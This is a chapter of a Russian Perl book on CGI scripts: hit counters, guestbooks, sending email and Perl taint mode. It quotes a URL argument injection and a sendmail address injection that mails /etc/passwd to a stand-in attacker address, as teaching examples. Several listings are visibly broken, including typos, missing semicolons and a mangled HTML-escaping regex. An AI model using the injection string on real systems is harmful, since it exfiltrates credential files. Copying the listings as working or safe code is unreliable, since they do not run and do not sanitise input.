Глава 20. CGI: счетчики посещений, гостевые книги, отправка электронной почты и вопросы защиты системы
Коротко
В этой и следующей главах я собираюсь представить несколько примеров CGI-сценариев. В их число входят: счетчики посещения, гостевые книги, отправка электронной почты, комната для бесед (chat room), теневые посылки (cookies), интерактивные игры и т. д. Вы можете переработать эти сценарии под свои нужды.
Подсказка. Имейте в виду, что они предназначены лишь для демонстрационных целей. Если вы соберетесь установить их на Web-сервере, обратите внимание на такие аспекты, как проверка ошибок и функции безопасности. После доработки сценариев проверьте, работают ли они так, как ожидалось.
Огромное количество CGI-сценариев на языке Perl уже доступно в Интернете и готово к использованию. Вот список нескольких полезных источников (конечно же, проверяйте каждый такой сценарий на защищенность, а также на предмет наличия любых других проблем):
· архив Ясона (Jason's Perl Archive) — www.aquapal.co.uk/perl/perl.html;
· архив сценариев Мэтта (Matt's Script Archive) — www.worldwidemart.com/scripts/;
· архив фирмы Yahoo! (Yahoo Perl Scripts) — dir.yahoo.com/Computers_And_Internet/ProgrammingLanguages/Perl/Scripts/ ;
· страница ссылок и сценариев на Perl, принадлежащая Дэйлу Бьюли (Dale Bewley's Perl Scripts and Links), — www.bewley.net/perl/;
· страничка на www.perl.com, посвященная CGI, — reference.perl.com/query.cgi?cgi.
Глава 20. CGI: счетчики посещений, гостевые книги, отправка электронной почты
Когда вы начнете писать сценарии, которые делают больше, чем простенькие сценарии двух предыдущих глав, проблема защиты станет актуальной. Это одна из тем, которая будет серьезно обсуждаться в этой главе.
Защита CGI
Обеспечение безопасности всегда было серьезной проблемой. В наши дни она еще более актуальна, так как по мере развития операционных систем становится все сложнее и сложнее затыкать бреши в защите.
Поэтому на Unix-системах CGI-сценарии обычно запускаются от имени идентификатора пользователя "nobody" («никто»). Такой процесс имеет минимум привилегий. Считалось, что процесс, имеющий минимум привилегий, принесет меньше вреда. Однако и по сей день могут возникать проблемы — в частности, из-за неаккуратности в CGI-сценариях. В этой главе рассказывается, как обойти некоторые наиболее вероятные неприятности.
Вот несколько Web-страниц, посвященных безопасности CGI, которые я рекомендовал бы прочитать до того, как вы начнете создавать для широкого использова ния что-либо серьезнее простейших CGI-сценариев:
· страница WWW-консорциума, посвященная безопасности CGI (The World Wide Web Consortium's CGI security page), — www.w3.org/Security/Faq/wwwsecurity-faq.html ;
· часть сборника вопросов и ответов (FAQ) по CGI-программированию на Perl, посвященная проблемам безопасности, — www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.html ;
· страничка Селены Сол (Selena Sol), рассказывающая, как вы рискуете при установке чужих сценариев — Stars.com/Authoring/Scripting/Sequrity;
· вопросы и ответы (FAQ) Поля Филипса (Paul Philips) — www.go2net.com/people/paulp/cgi-sequrity/safe-cgi.txt (имейте в виду, что хотя эта страница и имеет хороший список ссылок, она не обновлялась с 1995 года).
Следующий шаг — непосредственное изучение кода, так что перейдем к разделу «Непосредственные решения». Здесь вы найдете информацию о безопасности и о том, как писать CGI-сценарии для счетчиков, гостевых книг и отправки электронных писем.
Непосредственные решения
Серьезно беремся за защиту
CGI-сценарии могут порождать множество потенциальных брешей в безопасно сти. В качестве предельного случая рассмотрим сценарий, запускающий программы, имена которых передаются ему в качестве аргумента. Данные форм HTML посылаются в виде строк, причем в качестве разделителя аргументов используется вопросительный знак. Строка данных записывается в конце URL, что означает, что если вы хотите просто запустить сценарий Perl, URL должен выглядеть, например, так:
http://www.yourserver.com/user/perl.exe?script.pl
Но если хакер увидит, что вы используете технику вроде этой, он может послать собственную строку такого вида:
http://www.yourserver.com/user/perl.exe?-e+'nasty commands'
В результате он сможет выполнить любые команды Perl, что вряд ли вас порадует. Этот пример указывает на одну из самых больших опасностей CGI-сценариев, написанных на Perl, — вызовы внешних программ без проверки кода, передаваемого в конце строки.
В Perl внешние программы вызываются многими способами, например с помощью строки, заключенной в обратные апострофы (backtics), канала, вызовов system или exec. Даже операторы eval требуют осторожного обращения. Очень важно, настроить CGI так, чтобы нельзя было легко сделать ничего опасного. Хакеры собаку съели на использовании этого класса ошибок и CGI-сценариев для выполнения кода, нужного им.
На самом деле в Perl существует прекрасный механизм безопасности, предназначенный для латания дырок подобного типа, — см. раздел «Работаем с мечеными данными». Если разрешено отслеживание данных, Perl не позволяет передавать пришедшие извне данные функциям system, exec и т. д.
Простое правило, позволяющее обеспечить безопасность, — никогда не передавать непроверенные данные внешней программе и всегда стараться обойтись без запуска командной оболочки.
Если же это невозможно, следует всегда проверять аргументы на предмет наличия метасимволов командной оболочки и по крайней мере удаления их. Вот метасимволы командной оболочки Unix:
&;''\"*?`<>^(){}$\n\r
Еще одно важное замечание: не позволяйте другим перезаписывать ваши сценарии или файлы данных, неважно — случайно или намеренно. Другими словами, будьте особенно внимательны к правам доступа к файлам, чтобы их нельзя было заместить.
И, конечно же, обычные ограничения: не посылайте пароли по электронной почте, не набирайте их при работе с бесплатными утилитами вроде ytalk операцион
ной системы Unix. Не оставляйте ваш счет в системе (account) на долгое время неиспользуемым — хакеры следят за такими вещами, чтобы получить контроль над ними. Не позволяйте CGI-сценариям получать слишком много системной информации. И так далее, и тому подобное — большинство хакеров пролезут там, где вы и не думали.
Работаем с мечеными данными
Одной из самых больших дыр в защите CGI-сценариев является передача непроверенных данных командному интерпретатору. В Perl для предотвращения таких ситуаций можно использовать механизм меченых данных (tainted data). В этом случае любые переменные, связанные с данными, полученными извне (включая переменные среды, стандартный поток ввода и командную строку), считаются мечеными. Пока они остаются таковыми, их нельзя использовать для чего бы то ни было за пределами вашей программы. Если меченая переменная использует ся для установки другой переменной, последняя также становится меченой, что означает, что помеченные (или «запачканные») данные могут распространяться по программе сколь угодно далеко и сколь угодно сложными путями, но они все равно будут аккуратно помечены.
Подсказка. Этот механизм работает только для скалярных значений. Некоторые элементы массива могут быть мечеными, в то время как остальные — нет.
В общем, меченые данные не могут быть использованы при помощи вызовов eval, system, exec, а также при создании канала. Perl следит за тем, чтобы они не попали в команды, вызывающие оболочку, в команды, модифицирующие файлы, каталоги или процессы. Однако есть одно важное исключение: если вызовам system или eval передается список аргументов, он не проверяется на наличие меченых элементов.
Если вы попробуете произвести какую-либо операцию с мечеными данными за пределами программы, Perl остановится с предупреждающим сообщением. В режиме меченых данных Perl прекращает работу также в случае вызова внешней программы без предварительной установки переменной среды PATH.
В Perl версии 4 для включения отслеживания меченых данных используется специальная версия интерпретатора, называемая taintperl:
#!/usr/local/bin/taintperl
Однако в версии 5 проверка меченых данных включена в состав Perl, и вы можете включить ее, передав интерпретатору Perl ключ -T:
#!/usr/local/bin/perl -T
В следующем примере влючается отслеживание меченых данных, но программа не делает ничего опасного — соответственно, проблем нет:
#!/usr/local/bin/perl -T
print "Hello!\n";
Hello!
Однако при выполнении потенциально опасных операторов типа system при включенной проверке меченых данных Perl сообщит о возможной бреши в защи
Очистка данных
те, обусловленной использованием данных окружения. Даже если вы не используете PATH при вызове внешней программы, не исключено, что его использует вызываемая программа. Вот сообщение об ошибке, которое вы увидите:
#!/usr/local/bin/perl -T
print system('date');
Insecure $ENV(PATH) while running with -T switch at taint.cgi line 5, <> chunk 1.
Чтобы исправить это, вы можете при включенной проверке меченых данных самостоятельно установить $ENV{'PATH'}:
#!/usr/local/bin/perl -T
$ENV{PATH'} = '/bin:/usr/bin:/usr/local/bin';
print system('date');
Thu Nov 12 19:55:53 EST
Вот еще пример, в котором делается попытка передать системному вызову меченые данные. Даже если $ENV{'PATH'} устанавливается в программе, сценарий все равно прекращает работу, так как пытается передать меченые данные оператору system:
#!/usr/local/bin/perl -T
$ENV{PATH'} = '/bin:/usr/bin:/usr/local/bin';
while(<>) {
$command = $_;
system($command);
}
Insecure dependency in system while running with -T switch at taint.cgi line 5, <> chunk 1.
Данные, даже будучи переданными в $command из $_, все равно считаются мечеными. Как очистить данные, если вы уверены в них? Читайте следующий раздел.
Очистка данных
Единственный способ очистить меченую переменную — использовать шаблоны, по которым из нее выбираются подстроки. В следующем примере предполага ется, что меченая переменная $tainted содержит электронный адрес. Мы можем извлечь его и сохранить как не меченый в другой переменной следующим образом:
$tainted =~ /(^[\w]+)\@(^[\w]+)/
$username = $1;
$domain = $2;
print "$username\n";
print "$userdomain\n";
Таким образом, мы извлекли безопасные данные. То есть способ создания «чистых» данных заключается в извлечении из меченых данных подстрок, которые априори безопасны (и, конечно же, не содержат метасимволы командного интерапретатора).
Предоставляем CGI-сценарию большие привилегии в системе Unix
Поскольку сценарии запускаются в Unix с правами пользователя "nobody," они не имеют огромного количества привилегий. Если сценарий должен выполнять некие операции, скажем, создавать файлы, вам может потребоваться больше привилегий. Это можно сделать, но операция настолько рискованная, что следует сперва проверить все альтернативные варианты и только потом следовать нашим рекомендациям, соблюдая при этом максимум осторожности.
Вы можете запустить сценарий Perl как suid, предоставив ему те же привилегии (suid — set user's ID), что имеет его владелец (то есть вы). Имейте в виду, что для такого шага нужны действительно веские основания. Кроме того, убирать привилегии надо сразу, как только это станет возможным. Вы можете сделать сценарий запускаемым с привилегией suid при помощи установки бита s командой chmod:
chmod u+s script.pl
Также можно сделать сценарий запускаемым с привилегиями группы пользователей, устанавливая бит s поля группы при помощи chmod:
chmod g+s script.pl
Однако некоторые Unix-системы имеют прорехи в безопасности, облегчающие использование сценариев с правами suid во враждебных целях. Как убедиться, что вы имеете дело не с такой системой? Очень просто: при попытке выполнить сценарий с установленным битом suid вы получите от Perl предупреждающее сообщение.
ВНИМАНИЕ! Большинство операций может быть исполнено безопасным путем без запуска сценариев как suid. Этот раздел приводится лишь для полноты картины. Если же вы установили привилегии сценариев описанным способом, трижды проверьте, что знаете, что делаете, и никогда не оставляйте их без присмотра.
Создаем счетчик посещений
Создание счетчика посещений — достаточно простая задача: вы просто должны хранить текущее значения счетчика в файле и показывать его при необходимос ти. Я приведу пример создания счетчика counter.cgi.
Подсказка. Заметьте, что этот счетчик просто выводит текущее значение как текстовую строку, но в принципе можно сделать более интересные вещи, например создать графический счетчик, имея набор файлов с изображениями цифр и выводя их один за другим на Web-странице. Можно также воспроизводить цифры с помощью тега HTML <IMG>, если установить атрибут SRC в соответствии с URL сценария, выводящего цифры.
Сценарий называется counter.cgi, приведен он в листинге 20.1. Чтобы он работал, в том же каталоге, что и counter.cgi, должен находиться файл counter.dat. Для начала отсчета запишите в counter.dat 0 (ноль) с помощью любого текстового
Создаем счетчик посещений
редактора, а затем установите права доступа к файлу настолько низкими, чтобы CGI-сценарии имели бы право записывать в этот файл. (Если файл counter.dat отсутствует, не пытайтесь создавать его из сценария, поскольку обычно CGI-сценариям, запущенным с привилегиями по умолчанию, не разрешается создавать файлы в каталогах.)
Рис. 20.1. Счетчик посещений Web-страницы
Листинг 20.1. counter.cgi
#!/usr/bin/perl
use CGI
$co = new CGI
open (COUNT, "<counter.dat") or die "Could not open counter data file.";
$count = <COUNT>;
close COUNT;
$count++;
open (COUNT, ">counter.dat");
print COUNT $count;
close COUNT;
$co->header,
$co->start_html(
-title=>'Counter Example',
-author=>'Steve',
-BGCOLOR=>'white',
),
$co->center($co-h1('Counter Example')),
продолжение И
$co->p,
$co->center($co->h3("Current count: ", $count)),
$co->p,
$co->center($co->h3("Reload the page to update the count")),
$co->end_html;
Этот сценарий очень прост: все, что он делает, — это читает число, хранящееся в counter.dat, увеличивает его на единицу, записывает обратно в counter.dat и затем показывает увеличенный счетчик. Результат вы можете видеть на рис. 20.1.
Создаем гостевую книгу
Создание гостевой книги — шаг вперед по сравнению со счетчиком (см. предыдущий раздел). Гостевая книга собирает комментарии пользователей и сохраняет их в файле, обычно имеющем формат HTML, чтобы затем выводить их на странице.
Рис. 20.2. Создание комментария в гостевую книгу
Наша гостевая книга использует три файла, хранящихся в одном каталоге: guestbook.htm (листинг 20.2), guestbook.cgi (листинг 20.3) и book.htm (листинг 20.4). Первый является лицом гостевой книги, то есть именно эта страница указывает пользователю, что он может добавить запись в книгу посетителей. Она получает имя пользователя и комментарий (рис. 20.2). Когда пользователь нажимает на кнопку подтверждения, данные посылаются сценарию guestbook.cgi; иными словами, если вы используете этот сценарий, вам следует сменить указанный URL в guestbook.htm на реальный URL guestbook.cgi:
Создаем гостевую книгу
<BODY>
<H1>Please add to my guestbook...</H1>
<FORM METHOD = POST ACTION =
"http://www.yourself.com/user/cgi/guestbook.cgi">
В guestbook.cgi (см. листинг 20.3) мы открываем собственно гостевую книгу, хранящуюся в файле book.htm. Основная идея — добавить в нее имя пользователя и его комментарий, но book.htm заканчивается тегами </BODY></HTML>. Поэтому сначала надо установить указатель файла перед этими словами с помощью следующего кода:
open (BOOK, ">>book.htm") or die "Could not open guest BOOK.";
seek (BOOK, -lenght($co->end_html), 2);
Поскольку строки </BODY></HTML> в данном случае создаются с помощью CGI-метода end_html, мы откатываемся назад ровно на длину генерируемой строки, что позволяет нам не зависеть от того, что именно метод end_html будет выводить в следующих версиях модуля CGI.pm.
После этого код записывает вместо тегов </BODY></HTML> новые данные, добавляя в конце те же теги вызовом CGI-метода end_html.
Затем guestbook.cgi создает страницу, представленную на рис. 20.3. На ней располагается благодарность пользователю за комментарии и гиперссылка, позволяющая просмотреть содержимое гостевой книги. Иными словами, если вы используете этот сценарий, вам следует сменить URL, приведенный в листинге, на реальный URL book.htm (убедившись, что права доступа для этого файла достаточно низки, чтобы guestbook.cgi мог записывать в него данные):
"If you whant to take a look at the guest book, ",
$co->a(
{href=>"http://www.yourserver.com/user/cgi/book.htm"},
"click here"
), ".",
Если пользователь щелкает на гиперссылке, открывается гостевая книга (рис. 20.4), и, конечно же, ссылки на нее можно расположить на любой другой Web-странице вашего раздела. Имя пользователя и комментарии отображаются в гостевой книге вместе со временем добавления записи (см. рис. 20.4).
Файл guestbook.cgi приводит в безопасное состояние любой код HTML, который пользователь может попытаться ввести в гостевую книгу, замещая любые символы < HTML-кодом < (это делается так: $username =~ s/</< и $text =~ s/</<), который выводит "<", чтобы не позволять броузеру пытаться разобрать комментарии пользователя как HTML. Это означает, что любой код HTML, который пользователь попытается ввести в гостевую книгу, будет выведен как текст и не будет исполняться. Вы можете добавить дополнитель ные проверки ошибок.
Заметьте, что вы можете настроить guestbook.cgi так, чтобы он принимал электронные адреса посетителей (впрочем, все больше и больше пользователей не желают оставлять свои адреса не столько из соображений секретности, сколько из-за программ, которые сканируют сеть в поисках адресов электронной почты, а затем продают полученные списки распространителям рекламы). Вы так
же можете видоизменить файл гостевой книги book.html, добавив графику с помощью тега HTML <IMG>, установив фоновое изображение, и т. д., как и с любой другой Web-страницей. Просто следите, чтобы последним , что вы выводите в book.htm, был текст </BODY></HTML> (или вывод текущей версии CGI-метода end_html, поскольку в новой версии пакета CGI.pm он может смениться), чтобы guestbook.cgi мог откатиться на необходимое число символов и заменить эти теги новым комментарием.
Рис. 20.4. Гостевая книга
Подсказка. Если вы не хотите зависеть от версий модуля CGI.pm, записывайте в отдельный файл длину текста, выведенного методом end_html при последней записи в гостевую книгу, и используйте для установки указателя это значение, а не длину строки, выводимой текущей версией end_html.
Листинг 20.2. guestbook.htm
<HTML>
<HEAD>
<TITLE>Add to the guest book</TITLE>
</HEAD>
<BODY>
<H1>Please add to my guestbook...</H1>
<FORM METHOD = POST ACTION =
"http://www.yourself.com/user/cgi/guestbook.cgi">
Создаем гостевую книгу
<BR>
<CENTER>
Please enter your name:
<P>
<INPUT TYPE = "TEXT" NAME = "username">
</INPUT>
<BR>
Please enter your comments:
<BR>
<TEXTAREA ROWS = 8 COLS = 40 NAME = "comments">
</TEXTAREA>
<BR>
<BR>
<INPUT TYPE = "SUBMIT" VALUE = "Send">
<INPUT TYPE = "RESET" VALUE = "Reset">
</CENTER>
</FORM>
</BODY>
</HTML>
Листинг 20.3. guestbook.cgi
#!/usr/bin/perl
use CGI
$co = new CGI
open (BOOK, ">>book.htm") or die "Could not open guest
BOOK.";
seek (BOOK, -lenght($co->end_html), 2);
$date = 'date';
chop($date)
$username = $co->param('username');
$username =~ s/<l</;
print BOOK
$co->h3(
"New comments by :, $username, " on ", $date,
$co->p,
$text,),
$co->hr,
$co->end_html;
close BOOK;
print $co->header,
$co->start_html(
продолжение И
-title=>'Guest Book Example',
-author=>'Steve',
-BGCOLOR=>'white',
-LINK=>'red'
);
$co->center($co->h1('Thanks for adding to the guest book!')),
"If you whant to take a look at the guest book, ",
$co->a(
{href=>"http://www.yourserver.com/user/cgi/book.htm"},
"click here"
), ".",
$co->hr,
$co->end_html;
Листинг 20.4. book.htm
<HTML>
<HEAD>
<TITLE>
The Guest Book
</TITLE>
</HEAD>
<BODY>
<CENTER>
<H1>Here is the guest book...</H1>
<HR>
</BODY></HTML>
Отправка почтовых сообщений из CGI-сценария
Отзывы от пользователей можно хранить на сервере провайдера, как, например, в только что описанной гостевой книге, но иногда удобнее получать отклики по почте. Предлагаемый сценарий как раз и делает это. Заметьте, что этот код вынужден использовать системные команды для работы с электронной почтой, поэтому он зависим от операционной системы. Здесь я полагаю, что сценарий будет запускаться под управлением Unix.
Почтовое приложение состоит из файла HTML email.htm, который является лицевой частью программы, позволяющей пользователю написать электронное письмо с помощью его броузера (рис. 20.5). Также в состав системы входит
Отправка почтовых сообщений из CGI-сценария
CGIсценарий email.cgi, который принимает письмо, отправляет его и выводит подтверждающее сообщение (рис. 20.6).
В справочных целях email.htm приведен в листинге 20.5, а email.cgi — в листинге 20.6.
Электронное письмо отправляется самым обычным порядком. На рис. 20.5 воспроизведено письмо, которое вы получите (имейте в виду, что приложение позволяет пользователю устанавливать собственные адреса электронной почты, таким образом, поле From: может содержать фиктивный или неправильный адрес).
Рис. 20.5. Пишем электронное письмо
Рис. 20.6. Подтверждение отправки
Date: Thu, 12 Nov 15:26:57 -0500(EST)
To: user@yourserver.com
From: user@aserver.com
Subject: Friendly greeting
Dear you:
How are you? Write when you get the chance!
A. F. User
Вы можете дополнительно отправлять вводимые пользователем данные непосредственно себе, чтобы не проверять провайдерские файлы системного журнала.
Когда вы будете подгонять это приложение под свои нужды, не забудьте сменить URL в email.htm правильной ссылкой на email.cgi:
<HR><FORM METHOD="POST"
ACTION="http://www.yourserver.com/username/cgi/email.cgi"
ENCTYPE="application/x-ww/form-urlencoded">
Также убедитесь, что в email.cgi указан верный путь к почтовой программе (для Unix-систем это обычно /usr/lib/sendmail, как и записано в email.cgi):
$text = $co->param('text');
$text =~ s/</</;
open(MAIL, '| /usr/lib/sendmail -t -oi');
print MAIL <<EOF;
Также, конечно, проверьте, что вы указали адрес, на который хотите получать почту в поле To: в email.cgi. Не забудьте записать @ как \@ во встроенном документе (об адресе отправителя, хранящемся в @from, email.cgi позаботится сам):
open(MAIL, '| /usr/lib/sendmail -t -oi');
print MAIL <<EOF;
To: steve\@yourserver.com
From: $from
Subject: $subject
$text
EOF
close MAIL;
Подсказка . Сценарий email.cgi удаляет теги HTML из отсылаемых сообщений при помощи строки: $text =~ s/</</ — многие используют для чтения почты Web-броузеры, поэтому метки HTML в вашей почте могут перенаправить броузер либо создать другие побочные эффекты. Если это кажется вам слишком надуманным, просто уберите эту строку кода.
Одной из серьезных прорех в безопасности является чувствительность сценариев отправки почты к данным, переданным в email.cgi. При открытии канала к программе sendmail нельзя передавать введенный пользователем обратный адрес непосредственно ей, как это делают многие сценарии:
open(MAIL,"| /usr/lib/sendmail $emailaddress");
Отправка почтовых сообщений из CGI-сценария
Дело в том, что пользователь может ввести метасимволы в поле адреса, в результате чего канал сделает существенно больше, чем вы предполагали. Например, если пользователь введет в качестве адреса такую строку:
anon@someserver.com;mail hacker@hackerworld.com</etc/passwd;
то функция open фактически выполнит вот такую команду:
/usr/lib/sendmail anon@someserver.com; mail hacker@hackerworld.com</etc/passwd
Эта команда отсылает системный файл паролей на адрес hacker@hackerworld.com, что явно не входит в ваши намерения. Чтобы обойти эту проблему, вместо почтового адреса следует указать ключ -t:
open(MAIL, '| /usr/lib/sendmail -t -oi');
print MAIL <<EOF;
To: steve\@yourserver.com
From: $from
Subject: $subject
$text
EOF
close MAIL;
В результате sendmail получит адрес из поля To:. (Для программы sendmail точка, введенная в начале новой строки при интерактивном вводе текста сообщения, сообщает, что текст сообщения закончен. Ключ -oi указывает, что sendmail не должна прерывать работу, а сообщение следует отправить, как только встретится строка, начинающаяся с точки, — в прежние времена команды электронной почты, начинающиеся с точки, могли быть включены непосредственно в сообщение. Фактически, для email.cgi это неважно, и оставлено это лишь для чтения адреса непосредственно из кода.)
Сценарий email.cgi написан так, чтобы вы могли изменить его, если захотите позволить пользователю вводить адрес получателя, — в таком случае будьте осторожны, так как люди могут использовать такой сервис для посылки полуаноним ных сообщений с вашей страницы (пользователь сам вводит адрес в поле From:). Хотя получатель легко определит, что письмо пришло с сервера вашего провайдера, просмотрев заголовок сообщения: все, что он увидит в качестве имени фактического отправителя, — это адрес nobody@localhost в одном из полей From:. Однако провайдер, проверив идентификатор сообщения, отследит путь сообщения от вашей страницы.
Листинг 20.5. email.htm
<HTML>
<HEAD>
<TITLE>Send me some email</TITLE>
</HEAD>
<BODY BGCOLOR="white" LINK="red">
<CENTER><H1>Send me some email</H1></CENTER>
<HR><FORM METHOD="POST"
ACTION="http://www.yourserver.com/username/cgi/email.cgi"
ENCTYPE="application/x-www-form-urlencoded">
Please enter your email address:
<INPUT TYPE="text" NAME="name" VALUE=""><P>
Please enter the email's subject:
<INPUT TYPE="text" NAME="subject" VALUE=""><P>
Please enter the email you want to send: <P>
<TEXTAREA NAME="text" ROWS=10 COLS=60>Dear you:</TEXTAREA><P>
<CENTER>
<INPUT TYPE="submit" NAME="submit" VALUE="Send email">
<INPUT TYPE="reset">
</CENTER>
<HR>
</FORM>
</BODY>
</HTML>
Листинг 20.6. email.cgi
#!/usr/bin/perl
use CGI
$co = new CGI
print $co->header,
$co->start_html(
-title=>'Guest Book Example', -author=>'Steve',
-BGCOLOR=>'white', -LINK=>'red');
if ($co->param()) {
$from = $co->param('name');
$from =~ s/@/\@/;
$subject = $co->param('subject');
$text = $co->param('text');
$text =~ s/</</;
open(MAIL, '| /usr/lib/sendmail -t -oi');
prin MAIL <<EOF;
To: steve\@yourserver.com
From: $from
Subject: $subject
$text
EOF
close MAIL;
}
$co->center($co-h1('Thanks for sending me email!')),
$co->hr,
$co->end_html;